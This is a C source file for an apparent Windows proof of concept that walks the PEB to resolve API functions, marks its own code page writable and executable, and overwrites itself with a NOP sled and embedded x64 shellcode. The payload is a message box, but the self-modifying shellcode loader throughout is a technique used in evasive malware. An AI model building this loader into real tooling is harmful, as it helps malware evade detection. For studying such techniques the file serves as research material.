main.c

#include "main.h"

__attribute__ ((section (".text.A")));
static inline LPVOID get_module_by_name(WCHAR* module_name)
{
    PPEB peb = NULL;
#if defined(_WIN64)
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY list = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
    PLDR_DATA_TABLE_ENTRY curr_module = Flink;

    while (curr_module != NULL && curr_module->BaseAddress != NULL) {
        if (curr_module->BaseDllName.Buffer == NULL) continue;
        WCHAR* curr_name = curr_module->BaseDllName.Buffer;

        size_t i = 0;
        for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
            WCHAR c1, c2;
            TO_LOWERCASE(c1, module_name[i]);
            TO_LOWERCASE(c2, curr_name[i]);
            if (c1 != c2) break;
        }
        if (module_name[i] == 0 && curr_name[i] == 0) {
            //found
            return curr_module->BaseAddress;
        }
        // not found, try next:
        curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
    }
    return NULL;
}

__attribute__ ((section (".text.A")));
LPVOID get_func_by_name(LPVOID module, char* func_name)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }

    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;

    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

    //go through names:
    for (SIZE_T i = 0; i < namesCount; i++) {
        DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
        WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
        DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));

        LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
        size_t k = 0;
        for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
            if (func_name[k] != curr_name[k]) break;
        }
        if (func_name[k] == 0 && curr_name[k] == 0) {
            //found
            return (BYTE*)module + (*funcRVA);
        }
    }
    return NULL;
}
__attribute__ ((section (".text.A")))
// Shellcode from: https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12
volatile char messagebox[433]  = {
	0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x8d, 0x15, 0x66, 0x00, 0x00, 0x00, 0x48, 
	0x8d, 0x0d, 0x52, 0x00, 0x00, 0x00, 0xe8, 0x9e, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x8d, 
	0x0d, 0x5d, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0x5f, 0x00, 0x00, 0x00, 0x48, 0x8d, 
	0x0d, 0x4d, 0x00, 0x00, 0x00, 0xe8, 0x7f, 0x00, 0x00, 0x00, 0x4d, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 
	0x61, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4e, 0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 
	0x48, 0x8d, 0x15, 0x56, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x56, 
	0x00, 0x00, 0x00, 0x48, 0x33, 0xc9, 0xff, 0xd0, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x33, 0x32, 
	0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 
	0x41, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2e, 0x44, 0x4c, 0x4c, 0x00, 0x4d, 0x65, 0x73, 
	0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x77, 
	0x6f, 0x72, 0x6c, 0x64, 0x00, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x00, 0x45, 0x78, 0x69, 
	0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x83, 0xec, 0x28, 0x65, 0x4c, 0x8b, 
	0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x40, 0x18, 0x4d, 0x8d, 0x60, 0x10, 0x4d, 0x8b, 
	0x04, 0x24, 0xfc, 0x49, 0x8b, 0x78, 0x60, 0x48, 0x8b, 0xf1, 0xac, 0x84, 0xc0, 0x74, 0x26, 0x8a, 
	0x27, 0x80, 0xfc, 0x61, 0x7c, 0x03, 0x80, 0xec, 0x20, 0x3a, 0xe0, 0x75, 0x08, 0x48, 0xff, 0xc7, 
	0x48, 0xff, 0xc7, 0xeb, 0xe5, 0x4d, 0x8b, 0x00, 0x4d, 0x3b, 0xc4, 0x75, 0xd6, 0x48, 0x33, 0xc0, 
	0xe9, 0xa7, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x58, 0x30, 0x44, 0x8b, 0x4b, 0x3c, 0x4c, 0x03, 0xcb, 
	0x49, 0x81, 0xc1, 0x88, 0x00, 0x00, 0x00, 0x45, 0x8b, 0x29, 0x4d, 0x85, 0xed, 0x75, 0x08, 0x48, 
	0x33, 0xc0, 0xe9, 0x85, 0x00, 0x00, 0x00, 0x4e, 0x8d, 0x04, 0x2b, 0x45, 0x8b, 0x71, 0x04, 0x4d, 
	0x03, 0xf5, 0x41, 0x8b, 0x48, 0x18, 0x45, 0x8b, 0x50, 0x20, 0x4c, 0x03, 0xd3, 0xff, 0xc9, 0x4d, 
	0x8d, 0x0c, 0x8a, 0x41, 0x8b, 0x39, 0x48, 0x03, 0xfb, 0x48, 0x8b, 0xf2, 0xa6, 0x75, 0x08, 0x8a, 
	0x06, 0x84, 0xc0, 0x74, 0x09, 0xeb, 0xf5, 0xe2, 0xe6, 0x48, 0x33, 0xc0, 0xeb, 0x4e, 0x45, 0x8b, 
	0x48, 0x24, 0x4c, 0x03, 0xcb, 0x66, 0x41, 0x8b, 0x0c, 0x49, 0x45, 0x8b, 0x48, 0x1c, 0x4c, 0x03, 
	0xcb, 0x41, 0x8b, 0x04, 0x89, 0x49, 0x3b, 0xc5, 0x7c, 0x2f, 0x49, 0x3b, 0xc6, 0x73, 0x2a, 0x48, 
	0x8d, 0x34, 0x18, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x4c, 0x8b, 0xe7, 0xa4, 0x80, 0x3e, 0x2e, 0x75, 
	0xfa, 0xa4, 0xc7, 0x07, 0x44, 0x4c, 0x4c, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff, 0xd7, 0x49, 0x8b, 
	0xcc, 0x48, 0x8b, 0xd6, 0xe9, 0x14, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc3, 0x48, 0x83, 0xc4, 0x28, 
	0xc3
	};

// Aligning this function to a page for the exe builds
__attribute__((aligned(FUNC_SIZE)))
__attribute__ ((section (".text.A")));
void bonfire() {
	/*
		PIC Code which should pop a message box which says BONFIRE
		Code taken from: https://passthehashbrowns.github.io/dynamic-payload-generation-with-mingw
	*/
	char hello[] = {'B', 'O', 'N', 'F', 'I', 'R', 'E', 0};
	wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
	char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
    char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
	char virtualprotect_name[] = {'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0};

	// resolve kernel32 image base
    LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
    if (!base) {
		return;
    }
	
    // resolve loadlibraryA() address
    LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
    if (!load_lib) {
		return;
    }
	// resolve getprocaddress() address
	LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
	if (!get_proc) {
		return;
	}
	
	// loadlibrarya and getprocaddress function definitions
	HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
	FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;
	
	char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
	char messagebox_name[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0};

	LPVOID user32_dll = _LoadLibraryA(user32_dll_name);
	if (user32_dll == NULL) {
		return;
	}
	
	int (WINAPI * _MessageBoxA)(
		_In_opt_ HWND   hWnd,
		_In_opt_ LPCSTR lpText,
		_In_opt_ LPCSTR lpCaption,
		_In_           UINT   uType
	) = (int (WINAPI *)(
		_In_opt_ HWND   hWnd,
		_In_opt_ LPCSTR lpText,
		_In_opt_ LPCSTR lpCaption,
		_In_           UINT   uType
	))_GetProcAddress((HMODULE)user32_dll, messagebox_name); 

	BOOL (WINAPI * _VirtualProtect)(
		_In_  LPVOID lpAddress,
		_In_  SIZE_T dwSize,
		_In_  DWORD  flNewProtect,
		_Out_ PDWORD lpflOldProtect
	) = (BOOL (WINAPI *)(
		_In_ LPVOID lpAddress,
		_In_  SIZE_T dwSize,
		_In_  DWORD  flNewProtect,
		_Out_ PDWORD lpflOldProtect
	))_GetProcAddress((HMODULE)base, virtualprotect_name); 

	_MessageBoxA(NULL, hello, messagebox_name, MB_OK);

	// --------------------------------------- Bonfire MessageBox code ends here ---------------------------------------

	// Change this page permission to RWX
	DWORD origp = 0;
	if (!_VirtualProtect(bonfire, FUNC_SIZE, PAGE_EXECUTE_READWRITE, &origp)) {
		return;
	}

	// Overwrite first 32 bytes of this function
	// Assume this is the "Pseudorandom generated bytes"
	// Or just use the one of the rand intrinsics from https://learn.microsoft.com/en-us/cpp/intrinsics/x64-amd64-intrinsics-list?view=msvc-170
	for (int i = 0 ; i<64; i++) {
		unsigned char * addr = RVA2VA(unsigned char *, bonfire, i);
		*addr = 0x90;  // NopSled to make the PoC easier
	}



	// Write shellcode to the start of the function after the nopsled 
	// Aka "overwriting blocks of previously executed code"
	LPVOID addr_after_64_bytes = RVA2VA(LPVOID, bonfire, 64);
	for (int i = 0; i<433; i++) {
		unsigned char * addr = RVA2VA(unsigned char *, addr_after_64_bytes, i);
		*addr = messagebox[i];
	}

	// Call function recursirvely
	bonfire();
}



// Entrypoint - Align to 64 bits
void firelink() {
	asm("push %rsi\n"
        "mov % rsp, % rsi\n"
        "and $0x0FFFFFFFFFFFFFFF0, % rsp\n"
        "sub $0x020, % rsp\n"
        "call bonfire\n"
        "mov % rsi, % rsp\n"
        "pop % rsi\n"
        "ret\n");
}